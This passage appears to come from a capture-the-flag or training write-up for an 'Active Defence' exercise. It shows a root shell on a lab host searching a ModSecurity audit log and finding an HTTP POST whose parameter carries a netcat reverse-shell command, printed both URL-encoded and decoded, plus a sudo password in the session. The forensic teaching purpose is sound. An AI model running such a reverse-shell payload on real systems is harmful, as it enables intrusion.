Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# grep -A 8 POST /var/log/apache2/modsec_audit.log
POST /PHP/header.php HTTP/1.1
Host: 10.13.37.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Content-Length: 58
Content-Type: application/x-www-form-urlencoded

--3491b708-C--
yourpizzasucks=nc%20-e%20%2Fbin%2Fsh%2010.13.37.210%208443
```

The presence of `yourpizzasucks` in this log file provides an indicator to students that the following string which includes URI encoded spaces (%20) is the aforementioned flag.

**Decoded** data passed to the `yourpizzasucks` parameter:
```
nc -e /bin/sh 10.13.37.210 8443
```

Which is the final flag for Active Defence RealTime.